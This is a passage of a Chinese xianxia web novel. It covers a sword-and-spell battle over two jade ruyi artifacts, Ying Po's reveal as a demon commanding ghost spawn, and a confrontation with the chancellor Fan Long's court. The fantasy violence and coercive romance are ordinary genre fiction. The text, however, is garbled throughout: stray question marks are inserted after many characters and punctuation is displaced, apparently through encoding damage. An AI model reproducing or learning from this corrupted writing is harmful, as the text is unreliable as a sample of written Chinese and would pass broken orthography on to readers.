跟在孟枝枝身后的两?柄玉如意已?被催动,净天地神?咒被她念出。原本如意散发的温和圣光,此刻变得刺眼无比。咒术带着念咒之人的情绪,孟枝枝现在的情绪无疑是愤恨的。 她没想?给他们任何机会。 路一剑使出白虹贯日,此招数胜在步法诡谲,剑招朴实无华。孟枝枝重劈而下,他斜剑相挡,剑面一路滑向她手的方向。 孟枝枝眼见他的剑要?割到?她的手,她立马抬起剑,手腕向上鲤鱼一挺,打断了他的滑剑。 二?人几次过招,路一剑的剑术粘她粘得厉害。比起云庭出剑时想?方设法地攻击弱点,路一剑的剑术都是随对?手而动,以剑拆剑,十分难对?付。 时间一长,孟枝枝使剑疲软,被路一剑很快划破脖颈,一道血痕顺着雪白的皮肤流了下来。 路一剑道:“孟仙子,就此收手罢!” 孟枝枝道:“没门!” 只?见两?柄玉如意通体光辉流转,一旦靠近,便感觉刺痛。 云庭捏决,不断为他和路一剑撑起防护罩。防护罩上数道波纹涌动,那是灵气在乱窜,被玉如意干涉,法术不稳,随时都可能破开。 路一剑心知?,这撑不了多久。玉如意的威力足以抵挡魇灵袭击,更不用说?他和大师兄了。 他主动出击,与孟枝枝贴身相搏。 见孟枝枝体力不支,他心有?不忍,但?也无法,有?使命在身,压着他必须选择。 他一击命中,又是一剑贯穿孟枝枝的肩胛骨。 孟枝枝皱起眉头?,剑被抽出的一瞬,她掉落地面,被冥漆用身体接住。 “枝枝!”冥漆陷入恐慌之中。 孟枝枝安抚道:“冥漆,我没事,只?是受了点伤。此伤不足以要?我的命。” 冥漆含泪道:“别打了,我带你走罢。” 孟枝枝眼热,咬紧唇瓣道:“我要?为小桃仙报仇!” 小桃仙正躺在冥漆的身上,她闭着眼,若不是嘴角的血痕,和苍白的脸,还真以为她睡着了。 冥漆满眼含泪道:“小桃仙已?经走了,我不能再失去你!” 孟枝枝心中对?自己愤恨不已?,道:“我放不下!” 她猛地抬头?,见路一剑他们趁她分神?要?夺回玉如意。 她又是起身冲去,不要?命地用身体去挡,路一剑忙着撤剑,但?剑风已?出,势如破竹,在孟枝枝的背上炸开几道血痕,皮开肉绽。她一口鲜血喷出,硬是抗下伤害,收转回两?柄法器。 玉如意在她掌心下旋转,白绿相间的光辉,覆盖了她整个身体。 她不先急着给自己止血,而是直接催动净天地神?咒,向他们二?人攻去。 两?柄法器在她掌心之间来回转动,像一条衔尾蛇一般旋转,掌心胜出一团刺目的光球在不断向外散发能量。她头?发早已?散开,脸上的鲜血也变得无比清晰。 地动山摇,别院的房屋也跟着摇摇欲坠,各路东西七倒八歪。路一剑没有?站稳,直接狠狠摔在地上,四肢遭遇净念神?咒,已?经疼得发麻,七窍流血,云庭立马捏决挡在他前面。 “大师兄,此地不宜久留!” 云庭却道:“鬼母封印必须修复!” “大师兄!” 路一剑此时此刻后悔至极,如果他果断一些?,从孟枝枝他们手中抢回玉如意,是不是就不会发展成现在这样,如此受制于人? “大师兄,拔剑吧!”路一剑劝道,“再不拔剑,鬼母封印一旦被开启,鬼孩逃脱出来,那不是你我二?人可以解决的!” 云庭没有?动作。 路一剑急坏了,他心知?光靠咒术,大师兄撑不了多久,先前已?经耗费了不少灵气,再拖下去,他们必死无疑。 他道:“大师兄,快啊!” 云庭眼看自己师弟满脸污血、恐惧万分的样子,他心道,罢了,他死也不能让路一剑死在此地。 于是,无尘剑再一次出鞘! 这一次,云庭施展人剑合一,他念道:“配合我!” “好!” 二?人同拿本命剑,施展出了贤剑真君师门名冠天下的剑招合技——万剑归宗。 剑如风,剑如雷,剑如雨,剑如霜……天下各类名剑见此技,也必须甘拜下风,如仆见主。 两?柄剑变成数十米高,就像是四大天王手中的巨物,神?圣而威严。 它们立于地上,一挥舞。孟枝枝四周玉如意产生的光辉黯了一瞬,能量乱窜,周围灵气不稳。她咬紧牙关,死命撑住。 净化术毕竟只?是净化,诞生之初便不是作为杀招出世。孟枝枝学习过的净化术皆是用于救人。而云庭、路一剑二?人从小习的剑招皆是杀招,用于杀妖除魔。比起多次战斗侵染的杀气,净化术显得略微薄弱。 孟枝枝双肩剧烈颤抖,耳朵嗡鸣,眼睛几乎要?失去视觉。 路一剑道:“她快撑不住了。” 云庭道:“落吧,一剑。” “好!” 只?见两?把贯天的长剑,向孟枝枝偏倒下来。孟枝枝无法动弹,她要?是再一动,两?柄玉如意会不受她的控制,立马飞出去。 那样小桃仙的死,还有?她所做的这一切全部白费了! 她打死不肯退让一步。 剑倒下来的时候,一道身影飞快窜到?她身前。 她瞳仁一缩,“冥漆!” 剑落地一震,别院所有?的灵气光辉消失一空。 孟枝枝全身肋骨尽断,她就看见她的好朋友冥漆躺在她的身前,他将她护在了身下。 他该伤得有?多重? “枝……枝。” “不要?,不要?!”孟枝枝一瞬痛哭。 孟枝枝,你到?底在做什么?? 你害死了小桃仙,你还要?害死冥漆吗?! 云庭走到?她跟前,冥漆下意识抬头?去咬,却被云庭一把捏住下巴颏。 孟枝枝怒道:“你给我松手,放开!” 云庭瞬间点了冥漆几道穴位,对?孟枝枝道:“他性命无碍。” 他已?经犯了一次错误,不能再犯一次。 他弯下身,从她手里夺走了两?柄玉如意。 孟枝枝往他脸上啐了一口,“你不得好死!” 路一剑惊道:“大师兄!” 大师兄从来都是天之骄子,从没被人吐过唾沫,而且还是往脸上。任是他,也为大师兄感到?心疼。 云庭用袖子将脸一擦,没有?落下眼神?给孟枝枝,他拿起玉如意,对?路一剑道:“修复封印罢。” 路一剑道:“那他们……” 云庭道:“封印之地不修复完,不准放他们出去。” 这是对?他们的惩罚? 孟枝枝骂道:“云庭,我与你不共戴天!” 云庭和路一剑已?盘腿而坐,意外获得了一柄玉如意法器能使他们两?人同时开启修复。 孟枝枝咳嗽不止,肺里全是破损后流出的血液。她知?道自己死不了,但?这种生不如死、苟延残喘的难受,令她陷入深度的无力感中。 她哆哆嗦嗦地伸出手,去摸冥漆的气息。 他还活着,只?是昏死过去。 真是太好了! 她眼眶的泪随时都要?掉落出来。 紧接着,她又用手指一点一点往地上抠,终于摸到?了小桃仙的衣服。 她将自己的灵力输了进?去。 小桃仙果不其然体内已?经遍布魔气,天仙子的种子在她体内生根发芽,她的灵气一进?入,就被魔气熏染。 但?她依旧往里探入,任凭魔气进?入自己体内,也想?为小桃仙探得一缕生机。 路一剑早感觉到?这边的动静,他叹了一声,道:“她是在自寻死路。” “勿管,专心。”云庭闭着眼,全部精力都击中在了玉如意上。 孟枝枝浑身剧烈抽搐,身上的血往外挥洒,倒在一旁的护他剑吸收了主人的血迹,断横处散发着微微红光,显得妖冶诡谲。 魔气已?经顺着她的灵脉,走入她的丹田里。 孟枝枝感觉自己五脏六腑都在被灼烧,被啃咬。 这就是小桃仙被魔气侵染的感觉吗? 她眼皮微抬,看着天空,偶有?鸟儿经过。 她喉头?涌上鲜血,又被她一口吞下。 无解之局,她帮不了他们其中任何一人。 她不想?救治自己,也许自己就这样被天仙子种子吞噬死掉也不错。 她缓缓闭上了眼。 突然耳边传来一声幻听。 “孟芷。” 她心道,我救不了你,赢破,对?不起。 “孟芷!” 那声音如雷贯耳,她猛地睁开双眸。 只?见赢破早已?走到?她身边,野兽一般的纯黑眼中倒映着她的惨状。 他脸沉了下去,“是他们把你害成这样?” 孟枝枝下意识脱口而出,道:“赢破,你快走!快走!” 云庭二?人剑握在手里,正注视着赢破。 孟枝枝此刻有?多么?害怕。 她被赢破抱在了怀里,只?见他咬破自己的皮肤,往她嘴里灌进?鲜血。 “快……呜……走。” 赢破摸着她的秀发,眼中尽显温柔,他喂着她血,视线不愿离开一秒。 这等骇人场景,让云庭、路一剑二?人如临大敌。 云庭斜落下无尘剑。 “你就是人界皇帝?” 第56章 第 56 章 赢破视他?为无物, 他?在孟枝枝耳边低语道:“我来了。” 他?眼神痴迷地?看着她,目光落到她嘴角的血渍,他?伸出大?拇指,一点一点地?擦干, 动作很慢又透着一种压抑的危险气息。 孟枝枝心里着急万分。 云庭和路一剑不是赢破能对付的, 赢破身?上?的谜团只会加重云庭的疑心。 难道他?们几人今天要全部折在此处? 见她心思分毫不在自己身?上?, 赢破一口含住她的耳垂, 用牙咬住碾磨。 那一瞬的疼意, 令孟枝枝停止了乱想?。原本死气沉沉的内心,陡然生出念头,她不能死,赢破现身?,她要保护他?, 这?是她食言欠他?的。 她几乎是费力地?想?从他?怀中起来。 赢破却摁住了她,在她耳边道:“交给?我。” 他?褪下外袍,将孟枝枝安放下去,不让尘埃沾染她分毫。 孟枝枝立马抓住他?的一片衣角,那眼神中的紧张、惶恐不安, 使得赢破掌心微麻, 心尖酸颤。 他?用手回?握住她的手, 低下身?子,眼睫缓缓垂下, 在她的指尖落下轻轻一吻。 他?去了。 孟枝枝眼睁睁看着他?背离自己。 赢破站在云庭之?前,他?的头不知何时?梳成了高马尾,鹅黄绑带一系, 长长的长绸带在风中飞舞,身?上?着绸黑金丝桂花服, 少年朗若星月。 他?满目戾气,敌视着他?们。 云庭道:“人界皇帝,此处是鬼母封印之?地?,你?打断我们修复封印,该当何罪!” 赢破冷冷看着他?们,道:“去死。” 路一剑道:“好大?的口气!赢氏子孙,你?到底知不知道我们是谁?” 赢破脖颈一瞬偏过,斜着头看他?,像兽类一般,那模样十分怪异。 赢破道:“你?们伤了她,就该死。” 路一剑道:“那是情有可原!” 孟枝枝抬眸,路一剑一对上?她冷冷的目光,不自觉转移开视线。 云庭道:“一剑,制住他?。我继续修复封印。” 修复鬼母封印之?事数次被打断,他?心里总有不好的预感,不想?再出任何差错。 “交给?我吧!”路一剑瞬时?抬起剑,倒竖在身?后,一步踏出,向赢破冲去。 云庭即刻盘腿而坐,闭上?眼睛,继续催使玉如意。 耳边响起一声爆炸,云庭蓦然睁眼。 他?见路一剑被砸进?山体里,落出一个坑,那坑起码有三米深,里面传来路一剑气若游丝的声音。 “大?、大?师兄。” 云庭忽地?站起身?,见赢破好端端站在原地?,身?上?毫发无伤,周身?气息诡异可怖。 他?举剑横指,道:“你?不是凡人!你?是什么?” 赢破缓缓转向他?,一言不发。 云庭警惕着,手中的无尘剑散着光华,熟悉剑招的人便会知道,这?是剑随时?要出招了。 只见赢破走到他?跟前,距离不到三尺,就见他?伸出手,手掌缓缓合拢捏动,像是把什么东西揉捻成灰。 那一刻的场景,云庭永生难忘。 赢破双眸发出血红色光芒,鹅黄色绑带如此鲜亮,身?后乌云盖日,一轮血月耸立,四周传出异动声响。 很快,血月上?爬满了各种形态诡异的鬼子,他?们个个张着血盆大?口。 云庭目光呆滞,道:“你?解开了鬼母封印?” 赢破站在原地?,天空如下饺子一般落下鬼子,他?们落到他?背后,继而缓缓走过他?,走到了云庭跟前。 孟枝枝心中掀起惊涛骇浪,她快要叫出声,但又生生抑制住。 只见数百只鬼子齐刷刷向云庭冲去。 很快,一切都乱了。 血腥漫天,腐肉遍地?。云庭切鬼子如切西瓜,速度极快,只见四处都溅射着什么,但无尘剑的光华快要被掩盖下去。 多,实在太多了! 血月之?上?,不断有暴戾恣睢的鬼子出现,它们仿佛从血壳中冒出,身?上?披着肉色粘液。 鬼母不知在此地?被封印多久,或许百年,或许千年,她不断生子,这?数量难以估计。而鬼母不死,就会有源源不断的鬼子诞生。 可他?们之?间谁有这?个能力能铲除存活了千年甚至万年的鬼母呢?那个可是比水夜叉更大?的邪物啊! 然而赢破似乎一点不怕。 鬼子像是听他?的指挥,不伤他?分毫,目标明确,只杀云庭和路一剑。 孟枝枝看着赢破这?样感到一阵陌生,心中陡然生出一种恐惧。 云庭一身?丹青仙衣早已脏污狼藉,糜肉与粘液交织。就算如此,他?还?具有战斗能力,动作不见异常。 一获得间隙,云庭掏出白玉如意,只见他念咒道:“天地?玄宗,万炁本根;广修浩劫,证吾神通;三界内外,唯道独尊;体有金光,覆映吾身?;视之?不见,听之?不闻;包罗天地?,养育群生;三界侍卫,五帝司迎;万神朝礼,役使雷霆;鬼妖丧胆,精怪亡形;内有霹雳,雷神隐名?;洞慧交彻,五炁腾腾;金光速现,覆护吾身?。” 白玉如意周身?乍现霹雳金光,蟠天际地?,云庭周身同时出现一股金光包裹,宛如雄厚盔甲。 如意竟然还有这等用法! 金光所及之?地?,鬼子身?上?冒出烈焰火花,转眼间焚烧殆尽。但它们似乎一点也不畏惧,依然不要命地?往前扑。 都说鬼族邪性,遇到这?种连死不怕的敌人实在令人倍感压力。 孟枝枝看着它们疯狂向云庭冲去。云庭两手持着如意,向前顶住,无尘剑护着剩余三个方?位,一旦有鬼子踏入,它便立马斩杀。 砰——砰——砰—— 鬼子不断冲击着,云庭身?上?的金光护体很快出现一道裂痕。 “大?师兄,救我!”路一剑那边早就不敌。 云庭不得不分神道:“无尘剑,去。” 无尘剑立马飞了过去,这?下众鬼更对云庭虎视眈眈。 云庭一人要抵御四个方?位,不得不四处周游。但鬼子敏捷灵活,它们仿佛四脚爬兽,四肢皆有锋利的尖爪,可以抓握一切壁面,有超乎常人的弹跳力,难缠得很。 很快,一只浑身?腥臭的鬼子从云庭的防护中撕出一道裂口,众鬼一拥而上?。 云庭身?有金光,金光一亮,鬼物消融。 云庭很快便意识到,也许突破口不在鬼子身?上?,而在那个人界皇帝身?上?。 他?一路冲滑,身?形快得滑出幻影,玉如意像一面又攻又守的盾牌,所到之?处,鬼子飞速从两旁炸飞出去。 他?目标紧锁那个站着原地?、目光暴戾的皇帝。 “杀。” 他?以玉如意为柄,旋转将它一横,一道更加刺目的金光从如意头散出去,灵气磅礴。 当—— 一把破烂的桃木剑挡在前面。 孟枝枝双眸散着魔气,行若走尸却硬挺着,断断续续道:“不、许、伤、他?!” 下一瞬,她被赢破接住,她张开嘴,大?口喘息,整个人濒临崩溃边缘。 赢破将手轻抚在她脸上?,眼神向云庭一视,周身?黑气疯狂涌动,齐齐向云庭压过去。 “你?竟然是魔!”云庭不假思索道。 他?立刻用玉如意去挡,玉如意金光附体,但却阻挡不了魔气的肃杀之?意,那黑色涌动如同万丈深渊,以摧枯拉朽之?势,令玉如意土崩瓦解。 瓦裂玉碎,清脆的声响像雨滴一样由小变大?。 白玉如意碎成数百道碎片,从空中分散,宛如落下莹莹星光。 孟枝枝双眸瞪得极圆,她看着赢破瘦削光洁的下巴,刚刚所发生的一切都好似梦境。 魔? 赢破是魔? 云庭说赢破是魔?这?简直谬妄无稽!他?分明还?是那个小皇帝;被人欺负却无法反抗,不知人情世故,喜怒哀乐从来都写在脸上?的小皇帝。 耳边乍然出现云庭的声音道:“孟枝枝,睁大?眼睛好好看清楚,这?就是你?要护的人,他?是魔!是无情无义的魔,是残害生灵的魔!自古仙魔势不两立,这?些你?难道不知道吗!” 话音刚落,一阵魔气笔直朝云庭挥去,他?的声音骤然消失。 孟枝枝艰难地?移动着脑袋,想?伸长脖子去看一看云庭,却被赢破一把摁在怀中。 她眼前一黑,他?衣服上?织就的花纹是簇簇芬香的金黄桂花,盛开得饱满生机,却很是冰凉,凉进?了她的心。 她心中突生胆怯,双唇止不住地?颤抖。 赢破像是感受到她的紧绷,将她抱得更紧了。 他?低声呢喃着她的名?字,“孟芷。”那声音无不透露着害怕之?意,像是要死命抓住着什么。 孟枝枝一道泪滑过眼角。 “赢破,你?为什么要成魔呢?” 她想?骗自己都做不到。 那可是魔啊!人人喊打喊杀的魔! 她被扯入回?忆之?中。前一世,坐在黄金龙椅上?的魔君,视人命如草芥,心情不爽就去仙门?之?中斩杀人头,将人头带回?皇宫,挂墙以示众。 人怕,妖也怕,仙门?更怕,所有人听到魔的名?字恨之?入骨,恨不得杀之?而后快。 多可怕,成了魔,就没有了人性,没有了感情,也无从惧怕。 她今生最恐惧的事不过如此。 很多事都有迹可循,但她却故意忽略。她总想?着,赢破没有选择修魔,他?不一样,他?就算脾气再古怪,也救过她,也知道她对他?的好意。 他?明明是知道的啊!为什么,究竟是为什么会变成这?样。 耳边赢破的声音响起:“我只有选择成为魔,才能护住我们。” 孟枝枝轻啊了一声,声音呆滞道:“你?原来是自愿的。” 她好冷,心脏冷得好像被人推进?了冰窟里。 孟枝枝再也憋不住,喉头猛涌出鲜血,她咳嗽得像要把整个胸膛都咳出来,脸上?一片潮红。 赢破扶起她,立马又抬手去咬自己的胳膊。 “我不要!”孟枝枝几乎是吼出来,她抬起沾湿的眼睫,“我不要你?的血!” 赢破仿佛被人从头倒了一盆凉水。 他?纯黑的眸子显露无辜,似不知所措。 孟枝枝将脸一偏,不再去看他?。 “不要伤害他?们。” “谁?” “云庭他?们……不许你?动他?们。”孟枝枝几乎是用尽全力才挤出这?些话。 赢破脸沉了下去,道:“你?护着他?们?为什么?他?们害了你?,害了你?的朋友,我帮了你?,你?却恨我?” 孟枝枝偏着头闭住双眼,捂住胸口,那地?方?疼得厉害,每一个字说得都十分艰难,强忍着冷静,道:“我,不恨你?。他?们害死了小桃仙和冥漆,我要亲自杀了他?们。” “真的?”赢破狐疑,上?前伸出手。 “别碰我!”孟枝枝向后退缩,身?体颤抖,似乎才意识到了什么,道,“让我冷静一下,求你?”。 赢破感觉宛若脸上?被人狠狠扇了一巴掌,站在原地?,袖下的双拳悄悄捏紧。 忽而,云庭那方?又有动静。 一道蓝色火焰铺开来,烧出一块干净之?地?,形成一块圈。 “大?师兄,大?师兄!蓝师兄来了,我们有救了!”路一剑拼命叫喊着云庭的名?字。 都怪他?,要不是为了救他?,云庭师兄压根不会把本命剑都给?他?,也不会被这?个魔伤成这?样。 云庭脸上?全是魔气,魔气已入他?的五脏六腑,双唇乌黑,灵气与魔气在他?体内相?互绞杀。 蓝倾一把团扇捂着鼻子,眼眸收起了平日嬉戏打闹之?意,道:“你?不是来修复鬼母封印,怎么落成这?个模样?此地?怎么会有魔?” 云庭被路一剑抚起来,胳膊被他?扛起来,他?道:“此事要禀报诸位仙门?师长。” 路一剑道:“今日多谢蓝师兄,不然我与大?师兄定要死在此地?。此恩千霄宫记住了!” 蓝倾的到来是意外之?喜,他?本以为蓝倾不会来,结果竟然来了,真是帮了大?忙。 蓝倾道:“我可不是为了你?们而来。切勿自作多情。” 路一剑立马反应道:“是是是,蓝倾师兄顺便之?举对我们意义非凡。现在鬼母封印已破,我们赶紧先回?去叫救援吧!” “谁敢走!”这?一言吸引了在场三人注意。 原来是赢破在说话。 他?双掌之?间升起冉冉魔气,其中还?有无数细小闪电炸裂,一看就知威力巨大?,危险至极。 蓝倾手一横,表情严肃,道:“你?们先走,我断后。” 路一剑拱手道:“拜托蓝师兄了,定要相?安无事啊!” 他?带着云庭坐在自己的本命剑无心上?,御剑飞速回?往千霄宫。 一道黑球立马朝着他?们离去的方?向追去。 蓝倾扔出团扇,没想?到那黑球直接打掉团扇,朝他?们追踪而去。 团扇从地?上?飞起,原本上?面美丽的仕女图案如今沾上?腥臭的粘液和腐烂的肉糜,心爱之?物被毁得一干二净,蓝倾的脸瞬间变得很难看。 “魔头,你?得罪本大?人了!” 团扇朝赢破飞去,燃起熊熊蓝色火焰,那火焰有灵性一般,像两条蓝色巨蛇一样缠绕着赢破的两只胳膊。 赢破似乎一点不怕,用捏住那蓝色火焰,轻轻一碾,蓝色火焰亮了几瞬,霎那间熄灭。 蓝倾狐眼一眨,意外道:“本大?人竟打不过你?。” 他?双眸一扫,就见地?面躺着银发鼠妖,那银发鼠妖怀中抱着小桃仙,他?自然认识小桃仙,小桃仙是玉坤山的弟子。他?裙下伸出又长又大?的狐狸尾巴将两只妖怪同时?卷走。 蓝倾另一只尾巴朝孟枝枝卷去,狐尾还?没触及孟枝枝,就已被魔招攻了过来,狐狸尾巴被烧黑了一大?块,魔气熊熊燃烧。 蓝倾见好就收,心下思考立即决定放弃带孟枝枝走,道:“本大?人不与你?打。” 他?转身?飞奔逃走。 赢破手中升起一团黑气,正预备打向蓝倾,但看见他?狐尾巴上?挂着那两只妖怪。 只片刻犹豫,蓝倾就不见了,再打也迟了。 他?手中黑气陡然消失不见。 这?一地?的残尸和魔气,久久萦绕,甚至缠绕上?整个皇宫。 血月之?上?,鬼物嘶吼。 他?缓缓向孟枝枝走去。 第57章 第 57 章 赢破蹲下身子, 向?孟枝枝伸出手。 他那双眸子死盯着?她,一寸一缕都不放过。 她直接略过他伸出的手,踉跄地从地上爬了起来。 赢破的心也一寸一寸跟着?冷了下去,“你要去哪儿?” 孟枝枝冷了一双眸子, 道:“他们还?没?走远, 我要找到云庭, 杀了他, 救回小桃仙和?冥漆。” 赢破道:“你要出宫?” 孟枝枝一瘸一拐地往外走。 赢破冲上前来, 抓住了她的手腕,道:“那我呢?”他那双眼睛露出受伤的表情。 与他一身整洁相比,孟枝枝显得如此狼狈。 她垂睫掩住半眸,道:“你如今已经比我厉害得多,你已经不再需要我了。之前对不住, 是?我中了樊鸣的计,没?有及时赶来救你。若你要怪罪我,我也无话可说,只?是?现在我必须走了。” 孟枝枝微微抽开了手,她若即若离的态度, 令赢破心口酸涨。 他用力一拽, 将她拉到跟前, 道:“你想就这么?轻飘飘地离开?你别做梦了!你觉得我是?呼之即来,照之即去的人?吗?是?你先抛我在水牢之中, 这是?你欠我的。” 孟枝枝面?色骤然?扭曲,一口黑血吐了出来,浑身抽搐, 黑色的魔气萦绕在她的肌肤之上。 “孟芷!” 天仙子的魔气已经贯入她的四肢百骸,她明知自己无药可救, 还?要逞强! 赢破将唇立马渡上了她的唇,他体内的魔气宛如波涛汹涌的巨浪,驱逐着?她体内天仙子的魔气。 孟枝枝逐渐神色清醒,看到他这么?做,奋力挣扎要起。赢破强摁住她的身体,十指紧扣,贪婪地吞掉她口中所有的黑血。 二人?唇齿相依,她逃脱着?,他纠缠着?。她咬住他的唇瓣,他的唇顿时流出鲜血。 她咬得越用力,他扣住她的手便越紧。 “孟芷,是?你先招惹我的,你既然?要救我,为什么?不救我到底?” 孟枝枝双眸瞪得直圆,却亲眼看见他眼底浓烈的黑,他似乎感觉不到痛楚,要拉她一同溺死在这吻中,直到他的血和?她的血彻底融化为一体。 孟枝枝呼吸不稳,她感觉自己体内充盈的魔气全是?他的气息,她仿佛身处在滚烫的蒸锅之中,胸腔的气都被抽走。 她快要窒息了。 这时赢破松开了她,将她搂紧了怀中,痴道:“我如今成了魔,也会你教的仙术,我将二者结合,驱走了天仙子的魔气,你说我是?不是?一个好学生?” 孟枝枝感觉四肢沉重?,胳膊都抬不起来。想要重?启她的体力,还?需要适应。 赢破道:“我知你所愿,你不想留在此处,对吗?你要去杀云庭,我陪你去,你说好不好?” 孟枝枝艰难开口道:“原来你想跟我一起走。好,我答应你。” 赢破身体微顿,他低头看着?她,看着?她那双清澈如水的眸子,道:“你没?有在骗我?” 孟枝枝道:“你觉得我骗你有什么?好处?如果我走,你想来自然?也能跟得来,我赶不走你。只?是?我现在暂时动不了。” 赢破眸里闪着?光,他用双手穿过她的腿,将她抱起。 “我抱你就是?。” 孟枝枝没?有丝毫准备,一下紧抓着?他的衣服。 赢破观察着?她的反应,她没?有再抗拒他,那紧紧抓他衣服的手始终没?有放下。 他向?外走去。 “等等!” 赢破眼一冷。 孟枝枝眼望天上,道:“你能将它们重?新关起来吗?” 那些鬼子还?在血月之上来回走动,模样跃跃欲试,却始终没?有下来。 赢破眼神变得缓和?。 他对它们道:“滚回去,别出来了!” 血月上随即出现一道巨大的漩涡,鬼子们都跳了进去,再不见踪迹。 孟枝枝喜不自禁道:“太好了!” 赢破见她终于露出笑?颜,目光粘在她的脸上,嘴角轻轻一抿,“可以走了?” 孟枝枝点了点头。 他抱着?她跨出了别院。 “陛下,您这是?要去哪儿?” 瘴气消散,现出一个人?影。 原来是?钱喜蹲守在此处,背部拱起,双手交叠在身前,行为老实恭敬。 孟枝枝心中顿觉怪异。 没?想到钱喜对她和?颜悦色道:“娘娘没?事真是?太好了,恭喜娘娘,贺喜娘娘。” 赢破冷声道:“孤要和?她出宫,不再回来。” 钱喜道:“天下都是陛下的,陛下想要去哪儿,谁敢阻拦。” 赢破道:“你不准跟来。” 他头也不回地往前走。 孟枝枝回头去看钱喜,就见钱喜嘴角挂着?笑?,朝她颔首,恭恭敬敬地站在原地,任凭瘴气将他的身影隐藏至消失不见。 他们一踏出吊桥,就往宫外的方向?赶。一路上竟没?有什么?人?,意外冷清。 走入一座宫殿,突然?之间地面?发?出沉闷的一声。 一根红漆木映入眼帘,一台轿辇早已在此地等候。那轿辇方顶圆盖,辇身刻有栩栩如生的百鸟,顶账和?垂幔都是?黄缎制成,上面?用金线绣着?遨游凤凰,一旦弄脏,便会命数百名绣娘不眠不休一个月,绣好一个新的再换上。 里面?传出低沉沙哑的嗓音,“老臣恭候陛下。” 在场的大臣齐刷刷跪满地面?,“臣等恭迎陛下。” 此举实在太过异常,孟枝枝手里藏了颗咒枣,紧紧靠着?赢破。 轿辇里传出一个老人?的咳嗽声,“老臣年老体弱,本该下轿迎接陛下,但怕将病气过给陛下,那臣简直罪该万死。” 一位二品大臣道:“宰相大人?赤胆忠心,带领臣等苦心维系国命,现在终于迎来陛下回归,是?臣等之福,百姓之福。先皇期盼这一天盼了多久,臣等终于对得起先皇的嘱托,将陛下抚养长大。” 说罢,涕泗横流,引得在场大臣个个掩面?抽泣。 樊隆又起咳嗽,这一咳,众大臣呜咽嚎哭之声也跟着?停下了,简直恰到好处。 他道:“陛下,您看何时举行登基大典?” 她心道,难道樊隆知道赢破入魔了,便甘拜下风,拱手归还?皇权了? 在场许多位大臣,她都面?熟。曾经,孟慕华为他们的家眷诊治过疾病。她跟在师父身边,自然?也认识了许多人?。 见赢破不吭声,樊隆将话头转向?孟枝枝,道:“不知小孟女?官意下如何?” 孟枝枝双唇苍白,道:“宰相大人?这是?何意?” 樊隆道:“这段时日你一直侍奉在陛下左右,功不可没?。老臣斗胆提议,赏封小孟女?官为佳妃。” “小孟女?官贤良淑德,品性优良。‘佳’字好,臣附议。”说话之人?是?一位四品少卿,孟枝枝曾跟着?孟慕华救过他家从树上摔下来的小儿子。 “臣附议。” “臣附议。” “……” 密密麻麻的附和?声,也是?扑面?而来的压迫感。 赢破掀起衣摆,道:“你们给孤滚开!” 太尉大人?道:“陛下,您要去哪儿?臣等誓死相随。” “陛下不可出宫啊!天下共主怎能流落宫外?” “陛下,陛下!” 赢破一迈步,那些人?就上前抓住他的腿,令他不得动弹。 “你们这些老不死,再拦着?孤,孤就砍了你们!” 赢破破口大骂。 “老夫身先士卒,陛下要离宫,就先从老夫的尸体上踩过去吧!” 赢破道:“你当孤不敢?!”他一掌就要挥下去。 孟枝枝紧紧拉住他的胳膊,喊道:“别!” 孟枝枝道:“诸位大臣,你们今日特地赶来此处,就是?为了阻拦陛下出宫吗?” 众位大臣面?面?相觑。 樊隆的声音从轿子里传出来道:“佳妃娘娘,老臣斗胆,您带着?陛下出宫,可想过南元国以后该如何?这天下是?赢氏皇族的天下,家不可一日无主,国不可一日无君。” 孟枝枝看着?那金丝垂梢,道:“我们就敞开天窗说亮话吧。十七年了,你将赢破关了整整十七年,现在才来说这话不觉得假吗?” 孟枝枝感觉到轿中人?的目光,她丝毫不惧,继续道:“诸位大臣口口声声说为了陛下,为了百姓。敢问这十七年,诸位大臣在哪里?君有难,而臣不见,这就是?你们口中所说的‘赤胆忠心’?” 赢破的目光始终没?有离开她身上,自从孟枝枝开口的那瞬,他一颗心变得滚烫。 气氛倾俄变得凝重?,一时之间鸦雀无声。 樊隆道:“佳妃娘娘,所言极是?……” 众大臣更是?压低了头。 孟枝枝直道:“别叫我佳妃娘娘,这个娘娘称号,宰相大人?还?是?留给你自己吧。” “这……” 众大臣低头窃窃私语,所有人?都偷偷打量着?孟枝枝。 孟枝枝光明正大让他们打量,她直视着?那座轿辇,眼神如炬,仿佛要把那里穿个洞。 樊隆道:“既然?如此。来人?!” 此地瞬间涌出上千名将士,他们手拿长矛和?盾牌,气势威武,将整个地方团团围住。 孟枝枝道:“你们要造反吗?” 樊隆道:“此乃无奈之举,留君之举。就算是?仙人?降临,也会理解老臣一片苦心。” 孟枝枝手中顿时现出一把金色长弓,拉出金箭,射了出去,正好射到一位大臣脚前,在地面?擦出火花,留下黑印。 那位大臣吓得大喊大叫,连连后退,乌纱帽掉落在地,也不敢去捡。 樊隆道:“都不许动。” 这一声命下,所有的大臣只?得跪在地面?上,个个大汗淋漓,胆战心惊。 孟枝枝再一次拉起长弓,箭头对准他们。 “再问你们一遍,走还?是?不走?” 那炽热的金箭把周围的空气都烧得滚烫,这一箭下去,肯定没?命。 所有人?将头埋得更深了,瑟缩不已。 樊隆道:“孟女?官,你是?要背信你师父的承诺,伤人?无辜吗?” 孟枝枝道:“别想拿我师父压我!” 她转而对那些大臣道:“你们当真要为了他一句话,不顾自己的性命吗?” 那位四品少卿大人?抬起头,双目发?红道:“小孟女?官,在下还?有家人?在等着?在下回家。胆请小孟女?官和?陛下留在宫中。” 众人?跟从道:“胆请小孟女?官和?陛下留在宫中。” 孟枝枝拉长金弓,弦绷紧的声音清晰在耳。 四品少卿绝望地闭上了眼睛。 孟枝枝眼中有火,一箭射了出去。 咻—— 那箭飞快又灼热,掀起一股热辣的旋风,风力割人?。 邦—— 尖锐的声音划破天际,顿时听见有宫人?们大喊道:“着?火了,着?火了!” 四品少卿睁开双眸,回头一望,就看见宰相的轿子燃起了大火,一束金箭射穿了轿顶,钉在了宫墙上。 众人?都忙着?扶宰相出轿子,那金色轿辇在熊熊大火中烧灭。等再回头一看,赢破抱着?孟枝枝不见了。 樊隆道:“一群废物。” 众人?跪倒在地,埋着?头不敢抬起。 此时,只?有樊鸣敢上前道:“父亲大人?,要我们去把陛下找回来吗?” 樊隆身形臃肿,脸上皱纹颇深,身上穿着?宽大的锦绣袍子,头上戴着?金冠玉珠,尽显奢靡,道:“不必。” 樊鸣似乎并不意外,道:“孩儿知晓了。” 他侧过头,身后一众禁军抬着?一顶新的金色轿辇上前。他亲自将樊隆抚上轿辇。 